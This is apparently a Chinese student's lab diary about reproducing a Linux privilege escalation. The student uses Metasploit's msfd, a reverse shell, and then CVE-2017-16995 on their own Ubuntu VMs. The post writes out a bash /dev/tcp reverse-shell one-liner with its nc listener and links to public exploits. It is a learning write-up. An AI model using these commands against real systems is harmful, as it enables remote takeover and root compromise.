序
学习了几天pwn的栈溢出知识后,收到了期待已久的任务——在metasploit上使用RPC的方式复现一个Linux提权漏洞,学长说这是一个偏向探索性质的,为了督促自己和提高效率,利用这种方式记录下学习进度。
Metasploit之前在实验课上接触过,不过没有什么印象了,毕竟实验课很水,基本是照着指导书做一次。所以在强大的B站中找了相关视频做了了解和学习。
RPC全称远程过程调用,是相对于本地远程调用而言的,看了一些网上的文章大致了解了一下,具体的会在探索学习中一步一步解释。
对任务的初步理解为在攻击机上搭建metasploit环境,利用metasploit中的exploit对Linux靶机进行RPC渗透并提权。
Metasploit上使用RPC方式复现一个Linux提权漏洞
刚刚拿到任务时,我的理解是利用Metasploit工具对Linux系统进行渗透并提权
发现没有涉及到RPC方式,对RPC只知道是远程过程调用,不知道具体用法。难道是
利用RPC远程调用Linux上的Metasploit进行渗透提权,好像也说不通。
请教了一下学长,在学长的解释下有了大致的理解,Metasploit上有个msfd命令,
利用它与靶机建立连接,通过msfd去使用metasploit。靶机上不需要有metasploit,
可以直接在靶机上运行一个反弹shell来建立连接。
把现在的问题再梳理一下:
1.metasploit的使用 msfd nc
2.环境的搭建
攻击机:Kali
靶机: Linux (存在漏洞?)
Ubuntu Server:
内核:4.18.0-25-generic
版本:Ubuntu 18.103.如何获得shell并提权
资料:
1. https://www.exploit-db.com/exploits/47195
0x01 配置环境
1.1 安装Ubuntu虚拟机(靶机)
ip: 192.168.66.136
1.2 安装redis
参考:https://blog.csdn.net/buyueliuying/article/details/82316517
报错:
1. cc:not found 没有安装gcc环境
- apt install gcc
2. jemalloc/jemalloc.h没有文件
- make MALLOC=libc PREFIX=/usr/local/redis install
3. make test 测试 报出You need tcl 8.5 or newer in order to run the Redis test
- 安装tcl:apt install tcl
4. 解决redis-cli连接时出现Could not connect to Redis at 127.0.0.1:6379: Connection refused
- https://www.cnblogs.com/riding/p/5867187.html
- 可能需要安装redis-server:apt install redis-server
至于为什么要安装redis呢?主要是为了使用redis 4.x/5.x的漏洞,
详见https://www.exploit-db.com/exploits/47195
1.3 安装kali Linux(攻击机)
ip: 192.168.66.135
0x02 msfd
启动MSF的主机: msfd -a 192.168.66.135 -p 2323
远程主机: nc 192.168.66.135 2323
问题来了,好像与设想的结果正好相反,攻击靶机,且是靶机上没有metasploit,是不能使用msfd命令的,只能使用nc命令,但是建立连接后却是在靶机上打开了msfconsole,不是应该在攻击机上运行msfconsole吗?
突然想到反弹shell,这样就可以在kali上对靶机系统进行操作了
kali上设置监听:nc -lvp 7777
ubuntu上设置反弹连接:/bin/bash -i >& /dev/tcp/192.168.66.135/7777 0>&1
尝试了一下,大致的流程是这样的:
1. kali: msfd -a 192.168.66.135 -p 2323 (此时kali打开2323 )
2. Kali: nc -lvp 7777 (打开7777端口进行监听)
3. ubuntu: /bin/bash -i >& /dev/tcp/192.168.66.135/7777 0>&1 (此时反弹shell连接成功,可在kali控制Ubuntu)
4. kali(Ubuntu): nc 192.168.66.135 2323 (连接msfd,此时开启msfconsole)
反弹shell参考:https://xz.aliyun.com/t/2549
0x03 告一段落
做到这里,我们已经成功拿到了靶机的shell,并且能够使用metasploit进
行下一步操作,接下了的任务就是要探索提权了,因为靶机上直接运行的就
是root用户,已经有了最高权限,接下来要降权,从普通用户一步一步get
到root权限,此后metasploit就要大显神威了,具体如何还得走一步看一步……
0x04 降权连接shell
到这里又出现了点小问题,在非root用户下利用/bin/bash不起作用,报错:
bash:/bin/bash:Not a directory
将命令换成:bash -i >& /dev/tcp/192.168.66.135/7777 0>&1
成功了!!!
0x05 redis漏洞
漏洞地址:https://www.exploit-db.com/exploits/47195
这是一个redis 4.x/5.x漏洞,适用于Linux系统,并且是Remote型
根据这个文章做了尝试:https://blog.csdn.net/dust_hk/article/details/95382694
总感觉与预想的有些偏离,结果也没有成功。
分析一下原因,我觉得是漏洞利用方式不正确,我获得了反弹shell,说明此时是在ubuntu系统上进行操作,而参考文章上是在攻击机kali上利用漏洞进行攻击
利用失败了。。。
0x06 转为本地提权
漏洞:CVE-2017-16995
exploit下载地址:https://github.com/iBearcat/CVE-2017-16995
参考:https://blog.csdn.net/Fly_hps/article/details/80085750
版本是18.10的,抱着试试看的态度做了一下,发现被拒绝了
只好乖乖下载对应的版本复现了。
0x07 更换靶机
靶机版本:
Linux Kernel Version 4.14-4.4
仅影响Ubuntu/Debian发行版本
ubuntu 16.04.4 LTS
链接:https://pan.baidu.com/s/1UFKyp_6MipmWFvimseJTZA
提取码:qdyh
内核不在影响范围之内,按照上面博客的方法进行更换
sudo gedit /boot/grub/grub.cfg
保存后重启
0x08 靶机上进行漏洞利用
(1)下载exploit到本地
(2) 编译exploit
(3)运行exploit并提权
0x09 利用kali机和msfd命令进行攻击
靶机ip
攻击机ip
具体过程参考0x02
一直不出结果,我还以为失败了呢,输入whoami一查,证明我成功了